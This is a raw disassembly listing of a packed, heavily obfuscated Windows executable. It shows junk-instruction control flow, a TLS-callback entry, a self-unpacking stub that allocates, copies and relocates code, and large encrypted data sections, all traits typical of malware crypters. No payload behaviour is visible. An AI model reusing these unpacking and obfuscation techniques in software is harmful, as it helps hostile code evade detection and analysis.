cmp eax, ebp jmp loc_439F31 sub_43F688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0C181C033h, 4, 0C1810189h, 4, 439CB968h, 0BB85E900h dd 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BFFF loc_43F6F8: ; CODE XREF: sub_43BFFF+25CAj xor eax, 598C2497h add ecx, eax pop eax mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43EBD9 ; END OF FUNCTION CHUNK FOR sub_43BFFF ; --------------------------------------------------------------------------- dw 0C100h ; --------------------------------------------------------------------------- mov byte ptr [eax], 0E9h pop eax sar edi, 0FFh ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43F717: ; CODE XREF: sub_43C65A:loc_438CAFj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h jmp loc_43A4EE ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 0E99D0000h, 0FFFFC8B4h ; =============== S U B R O U T I N E ======================================= sub_43F734 proc near ; CODE XREF: _802izwe5:0043D4A5j ; sub_43C65A:loc_43F91Ap ; FUNCTION CHUNK AT 00438F65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439267 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CD74 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043D624 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043DAB2 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx mov byte ptr [esi], 3Ch pop esi push 386332ADh pop edx add edx, 0A46139F3h jmp loc_439267 sub_43F734 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43F74F: ; CODE XREF: _802izwe5:0043F435j sub ebx, 46DAF7ECh add ebx, 6452BA97h jmp near ptr dword_43B828+1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43F761: ; CODE XREF: _802izwe5:0043D6F1j add edi, 8C12D687h add ecx, edi pop edi mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43AFD9 ; --------------------------------------------------------------------------- align 4 dd 0E9FA1300h, 0FFFFCB4Dh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F782: ; CODE XREF: sub_439ED1:loc_43E1C6j jns loc_43CD06 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0D6870000h, 0FF9DF1E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43F792: ; CODE XREF: _802izwe5:loc_43DF40j mov [ecx], eax add ecx, 4 mov [ecx], eax push eax jmp loc_43E553 ; --------------------------------------------------------------------------- align 4 loc_43F7A4: ; CODE XREF: _802izwe5:0043F1C6j jnp loc_43ED1C jge near ptr dword_43E2F0+6 ; =============== S U B R O U T I N E ======================================= sub_43F7B0 proc near ; CODE XREF: sub_439ED1+8E8p xchg edi, [esp+0] xchg ebx, [esp+0] mov edi, ebx jmp loc_43A91A sub_43F7B0 endp ; =============== S U B R O U T I N E ======================================= sub_43F7BD proc far ; CODE XREF: sub_437BE6+9j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004391E8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043994E SIZE 00000005 BYTES push ebx mov ebx, offset loc_4391F2 jmp loc_4391E8 sub_43F7BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) word_43F7CA dw 189h ; DATA XREF: sub_439ED1:loc_43ACACo dd 4C181h, 1890000h, 0A0C181h, 0C4E90000h, 0FFFFFCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43F7E0: ; CODE XREF: sub_43C65A+31Aj push offset sub_43B32C jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dw 0C700h dd 439E0701h, 59C03300h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_43F7F5 proc near ; CODE XREF: sub_43C65A:loc_43B6E1p ; FUNCTION CHUNK AT 0043B162 SIZE 00000005 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_43B162 sub_43F7F5 endp ; --------------------------------------------------------------------------- loc_43F806: ; CODE XREF: _802izwe5:0043BB3Bj mov ebp, esp call near ptr sub_43DDE3 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43F80E: ; CODE XREF: sub_43C65A+108j jmp loc_43A6B1 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F813: ; CODE XREF: sub_439ED1+23F4j pop edx mov [ecx], eax add ecx, 4 loc_43F81C: ; CODE XREF: _802izwe5:loc_43CD00j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43F39D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 loc_43F832: ; CODE XREF: _802izwe5:0043B479j ; DATA XREF: _802izwe5:loc_43E972o pop dword ptr fs:0 call sub_43B794 jmp loc_43C565 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F842: ; CODE XREF: sub_439ED1:loc_43A410j pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F846: ; CODE XREF: sub_439ED1-642j jmp loc_43D71D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 67h dd 36FF64h, 89646700h, 0E8000026h, 0FFFF86F0h db 0 ; --------------------------------------------------------------------------- loc_43F85D: ; CODE XREF: _802izwe5:loc_43F34Fj jmp loc_439692 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43F863: ; CODE XREF: sub_43C65A+25Bj jmp loc_43CA48 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43F869: ; CODE XREF: _802izwe5:loc_43EAE3j push 0BFB23BA9h ror esi, 15h popf jmp loc_439272 ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_43F87B: ; CODE XREF: _802izwe5:loc_4391C2j jmp loc_43B90F ; --------------------------------------------------------------------------- db 0 byte_43F881 db 0C6h, 6, 3 ; DATA XREF: sub_439ED1:loc_43A050o dd 0B10BE85Eh, 4AE9FFFFh, 0FFFFFAh, 0E7A6830Fh, 0D9E9FFFFh dd 87FFFFE6h, 0C75A2414h, 1001301h, 0F5E85700h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43F8AB: ; CODE XREF: _802izwe5:004399CBj jmp loc_43D949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F8B0: ; CODE XREF: sub_439ED1+2DE3j sbb ecx, 0CED03BDFh pop dword ptr fs:0 xchg eax, [esp+0] pop eax jnz loc_439D59 push offset loc_43A6DE jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 18C0F00h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43F8D7: ; DATA XREF: sub_439ED1-199Ao pop dword ptr fs:0 xchg eax, [esp] pop eax add ecx, 0A0h mov dword ptr [ecx], offset loc_43779B xor eax, eax jmp loc_4379C9 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C50C loc_43F8F5: ; CODE XREF: sub_43C50C:loc_43BEA6j cmp edi, 0E944E2Bh jmp loc_43A5FF ; END OF FUNCTION CHUNK FOR sub_43C50C ; --------------------------------------------------------------------------- loc_43F900: ; CODE XREF: _802izwe5:0043807Aj or eax, edx mov eax, 915F424h jmp loc_43811D ; --------------------------------------------------------------------------- dd 241C8700h, 43EB4B68h, 0A01EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43F91A: ; CODE XREF: sub_43C65A:loc_43C979j call sub_43F734 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_43F921: ; CODE XREF: _802izwe5:0043EF1Cj jmp near ptr dword_43E18C+7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6E loc_43F926: ; CODE XREF: sub_438A6E+59C4j add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al push edx push 0FB6206C4h pop edx loc_43F93D: ; CODE XREF: sub_439ED1+9CFj jmp near ptr byte_437E21+2 ; END OF FUNCTION CHUNK FOR sub_438A6E ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43F943: ; CODE XREF: _802izwe5:0043B44Cj add ebx, 2F49D9A0h rol ebx, 0Bh xor ebx, 524E69AAh add ecx, ebx pop ebx mov [ecx], eax add ecx, 4 jmp loc_43A106 ; --------------------------------------------------------------------------- loc_43F962: ; CODE XREF: _802izwe5:0043E267j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax jmp loc_43C712 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437F24 loc_43F983: ; CODE XREF: sub_437F24+Cj xchg ebx, [esp-4+arg_0] mov ecx, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_437F24 ; --------------------------------------------------------------------------- loc_43F98A: ; CODE XREF: _802izwe5:0043C0A2j jmp locret_43BB3A ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43F990 proc far ; CODE XREF: _802izwe5:0043F46Ap ; FUNCTION CHUNK AT 00439343 SIZE 0000000B BYTES push dword ptr fs:0 jmp loc_439343 sub_43F990 endp ; --------------------------------------------------------------------------- align 4 dd 0C301C600h, 243C8759h, 0FF7C75E9h, 9FE900FFh, 0FFFF90h dd 7D00h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_43F9B4: ; CODE XREF: sub_43F3B2-1A2Aj jmp loc_43D6AA ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F9B9: ; CODE XREF: sub_439ED1+F31j jmp loc_43E2FC ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 5300h dd 43C8BCBBh, 0A33CE900h, 0E951FFFFh, 0FFFFBDAFh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F9D1: ; CODE XREF: sub_439ED1:loc_43C447j push edi push 0ACEC20FCh pop edi sub edi, 6416EFA8h jmp loc_43F37C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0C9815000h, 0E3C7D88Eh, 0FF838BE9h, 810000FFh, 0D830E7F0h dd 0CCE081DFh, 81F08208h, 41DFE3C0h db 40h byte_43FA05 db 0CFh, 4, 24h ; DATA XREF: _802izwe5:0043E30Ao ; --------------------------------------------------------------------------- jmp loc_43E694 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43FA0F: ; CODE XREF: _802izwe5:0043E037j add eax, 0ABE86D3Dh and eax, 0C3494104h xor eax, 54D69A5Ch add eax, ebp add eax, 2B20649Ch mov eax, [eax] push 0C247A858h jmp loc_43E8AF ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_4173C8 mov eax, 400000h mov [ebp-4], eax mov edx, eax ; START OF FUNCTION CHUNK FOR sub_43FABF loc_43FA4D: ; CODE XREF: sub_43FABF+D1j mov eax, [esi+0Ch] or eax, eax jz loc_43FAE6 add eax, edx mov ebx, eax push eax call ds:dword_4270B4 ; GetModuleHandleA or eax, eax jnz loc_43FA7A push ebx call ds:dword_4270B8 ; LoadLibraryA or eax, eax jz loc_43FADE loc_43FA7A: ; CODE XREF: sub_43FABF-5Aj mov [ebp-8], eax push 0 pop dword ptr [ebp-0Ch] loc_43FA82: ; CODE XREF: sub_43FABF+18j mov eax, [esi] or eax, eax mov edx, [ebp-4] jnz loc_43FA92 mov eax, [esi+10h] loc_43FA92: ; CODE XREF: sub_43FABF-36j add eax, edx loc_43FA94: ; CODE XREF: _802izwe5:loc_43EA2Fj add eax, [ebp-0Ch] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp-0Ch] or ebx, ebx jz loc_43FB8A test ebx, 80000000h jnz loc_43FAB9 lea ebx, [ebx+edx+2] loc_43FAB9: ; CODE XREF: _802izwe5:00437EDAj ; sub_43FABF-10j and ebx, 7FFFFFFFh ; END OF FUNCTION CHUNK FOR sub_43FABF ; =============== S U B R O U T I N E ======================================= sub_43FABF proc near ; CODE XREF: sub_439ED1-176Dj ; FUNCTION CHUNK AT 0043FA4D SIZE 00000072 BYTES ; FUNCTION CHUNK AT 0043FB8A SIZE 0000000B BYTES push ebx push dword ptr [ebp-8] call ds:dword_4270BC ; GetProcAddress or eax, eax jz loc_43FADE mov [edi], eax add dword ptr [ebp-0Ch], 4 jmp loc_43FA82 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43FADE: ; CODE XREF: sub_43FABF-4Bj ; sub_43FABF+Cj push ebx mov eax, ebx call sub_43FAED loc_43FAE6: ; CODE XREF: sub_43FABF-6Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_43FABF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FAED proc near ; CODE XREF: sub_43FABF+22p var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_43FB24: ; CODE XREF: sub_43FAED+97j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_43FB63 mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call ds:dword_427104 ; MessageBoxA push 0FFFFFFFFh call ds:dword_4270C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_43FB63: ; CODE XREF: sub_43FAED+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_43FB24 sub_43FAED endp ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43FABF loc_43FB8A: ; CODE XREF: sub_43FABF-1Cj add esi, 14h mov edx, [ebp-4] jmp loc_43FA4D ; END OF FUNCTION CHUNK FOR sub_43FABF ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_43FB96 proc near ; CODE XREF: _802izwe5:loc_4393D2p ; startp ... mov eax, offset dword_43718C locret_43FB9B: ; DATA XREF: sub_43FB9C+8o retn sub_43FB96 endp ; =============== S U B R O U T I N E ======================================= sub_43FB9C proc near ; DATA XREF: _802izwe5:off_43DFACo var_14 = dword ptr -14h var_10 = dword ptr -10h push esi push edi push ecx push ebx push eax mov ebx, [esp+14h+var_14] sub ebx, offset locret_43FB9B mov eax, 5EDAh push eax push 4 push 1000h push eax push 0 mov eax, offset dword_4270C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset dword_43718C add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_437008 add ecx, ebx call ecx pop eax mov ebx, [esp+10h+var_10] push 8000h push 0 push eax mov eax, 4270C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_43FC51 mov ebx, eax call loc_43FCB2 cld lodsd cmp eax, 0FFFFFFFFh jz short loc_43FC51 push ebx mov ebx, ecx loc_43FC1C: ; CODE XREF: sub_43FB9C+91j ; sub_43FB9C+A4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_43FC2F and eax, 0FFh jmp short loc_43FC1C ; --------------------------------------------------------------------------- loc_43FC2F: ; CODE XREF: sub_43FB9C+8Aj add ebx, 0FEh or eax, eax jp short loc_43FC42 loc_43FC39: ; CODE XREF: _802izwe5:0043FC59j lodsw and eax, 0FFFFh jmp short loc_43FC1C ; --------------------------------------------------------------------------- loc_43FC42: ; CODE XREF: sub_43FB9C+9Bj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_43FC1C pop eax loc_43FC51: ; CODE XREF: sub_43FB9C+6Dj ; sub_43FB9C+7Bj pop ebx pop ecx pop edi pop esi retn sub_43FB9C endp ; --------------------------------------------------------------------------- dw 0EF5Eh ; --------------------------------------------------------------------------- setalc jz short loc_43FC39 cmp eax, 0BB341C3h mov dword ptr fs:[ecx+ebx*4], 0E26B394Bh pop ecx dec dword ptr [ecx] or al, 0C2h mov bl, 8 jmp short loc_43FC80 ; --------------------------------------------------------------------------- db 81h, 6Fh, 73h dd 0FD51BB39h, 54542F6Eh, 0B2C83ACEh ; --------------------------------------------------------------------------- loc_43FC80: ; CODE XREF: _802izwe5:0043FC6Fj cmp eax, 0C24128EDh and eax, [edi+ecx*4+2Ch] ror ebp, 3Bh rcl dword ptr [esi], 4Ah push edi jmp near ptr 0BEE92416h ; --------------------------------------------------------------------------- mov esi, 0AE628301h ; =============== S U B R O U T I N E ======================================= public start start proc near call sub_43FB96 add eax, 7AF1h jmp eax start endp ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: _802izwe5:TlsCallbackso call sub_43FB96 add eax, 5249h jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_43FCB2: ; CODE XREF: sub_43FB9C+71p call sub_43FCBB ; --------------------------------------------------------------------------- db 0FFh db 3 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_43FCBB proc near ; CODE XREF: _802izwe5:loc_43FCB2p pop esi retn sub_43FCBB endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 dw 4974h dd 0C210D8DAh, 7BFE75EDh, 0C2B6C27h, 0DA072069h, 47E85176h dd 0BFD33C0Fh, 0E293BE74h, 0B4212B94h, 0D95C51C7h, 419CEECDh dd 343D4F94h, 35C711E2h, 30E70D74h, 0B572ADF1h, 0C17856A6h dd 0C8C0D37Bh, 0D8CDD327h, 72FE479Fh, 0CD052ECh, 0ACEC781Dh dd 0D3F9FBB3h, 8AFCE833h, 0CB416BCAh, 0B62F484Ch, 0F8EC512Ch dd 6C6B801Dh, 0ED52BCB8h, 79AF91A0h, 0BCB6A86Eh, 45380A36h dd 0EB38D0Bh, 0ADDF6B2Eh, 1F5CCE4Fh, 0D32D2B8Dh, 0C7422F6Fh dd 0D3E8FD07h, 95F72987h, 6404D88Bh, 581C4AAEh, 6AC9EA6Dh dd 0C013C52h, 83F0D23h, 23A815C2h, 0FB8C7CF5h, 62523068h dd 0F5F0A447h, 213A6112h, 20E1A416h, 17788EEAh, 2385C81Bh dd 0F600BAF2h, 7EDE0793h, 0EE8FAD3h, 2F0DA76Ah, 0C5F7F7D9h dd 3690CC91h, 803C952Dh, 62B8F38Fh, 9EE0A32Ah, 0B27D552Fh dd 0F12DB1E2h, 3912899Fh, 4200BCFEh, 0DD09240Ah, 76C1D916h dd 17F01DC2h, 0A58CEBC1h, 0EA078885h, 75B70B61h, 3E9C4940h dd 0EA84171Ch, 0BC3DA10Fh, 3689E5E8h, 0EBFF6D4Eh, 4A67D4FFh dd 9A9EC098h, 8C2FBD8Bh, 0FBF6A268h, 5E670667h, 8426A3A9h dd 80h dup(0) _802izwe5 ends ; Section 6. (virtual address 00040000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00040000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute f1dfid6q segment para public 'CODE' use32 assume cs:f1dfid6q ;org 440000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 28427824h, 48B5C68Ah, 70985DEBh, 5FA9AE76h, 9B9E5309h dd 4AC1D5C5h, 0DCFD3963h, 28478893h, 2DE94FA1h, 0B492579Ah dd 5BAD0D6h, 0A0787134h, 3E308DF8h, 0B8600F5Eh, 0B78D8FD1h dd 1B5CFF5h, 0AE5A9940h, 0EBA1D2DDh, 6708899Bh, 0AF74708Dh dd 0EC5FDF8Ch, 660707B4h, 0B60D2737h, 0DDC95AA7h, 0FA5A5ED0h dd 8F945779h, 88A04DEAh, 0B1DBC5F5h, 0F5A1FA8Eh, 59C4C60Eh dd 4010627h, 3C53A9CCh, 4C866B6Fh, 36587B59h, 0A606D6D1h dd 8BB3C88Dh, 324ED55Ch, 5F769765h, 2D3BB5AAh, 0D08E71B7h dd 40F1DC1Eh, 0B3D89ECEh, 0F3393468h, 9E9166D6h, 39F3C995h dd 2F9161D9h, 6D1A6A11h, 7900FA2Bh, 4256A1D9h, 474F615Eh dd 28CE8E78h, 3B970DE9h, 49F495B0h, 291A50FFh, 258590Eh dd 6A5114F1h, 0D28D2F9Bh, 246880ADh, 8E9E093Eh, 0D6094216h dd 86B41173h, 4D9C1748h, 0A0B8C323h, 76D3CE16h, 0FDBEEE3Bh dd 0B7E68827h, 0F060F470h, 0AA456791h, 5DCC4D34h, 0B3FDFB35h dd 0D0806CBCh, 48E0898Bh, 3777EAA1h, 0EB09E469h, 0E99FB6A9h dd 0DDABD452h, 6EA1873Dh, 3D8A2463h, 8BF57787h, 0EF1FD2C7h dd 14B429BEh, 157B431Ah, 0E613DBFBh, 0F3085E33h, 0B39F44A9h dd 5ED3E4F0h, 8BE576B5h, 0F3FB77AFh, 1EA9DF36h, 0E843F7B1h dd 0FB85C99Ah, 5FC99505h, 0D6914880h, 0FF0FDB40h, 990975E0h dd 6B96F5F1h, 2C7AAEECh, 93F6BA75h, 9F5908B1h, 0AF8173BCh dd 0FB46487Fh, 203F45E2h, 15622314h, 0E2A0F935h, 81B815B8h dd 9C6B9E15h, 196CF08Ah, 987CEBCAh, 0FA8AA30h, 3631C67Bh dd 0FC7839C5h, 84F6C986h, 3FC802A6h, 0DBEA483Ch, 86E0DD2Eh dd 0EDFAF771h, 2B974BFBh, 5FB9C549h, 22534F78h, 0DBE5DA78h dd 200DE1BAh, 22394CD6h, 6DC4264Ah, 8951B948h, 995A5198h dd 0E4B98D49h, 0FABE6297h, 1318282h, 1B80h dup(0) f1dfid6q ends ; Section 7. (virtual address 00047000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00047000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 447000h align 2000h _idata2 ends end start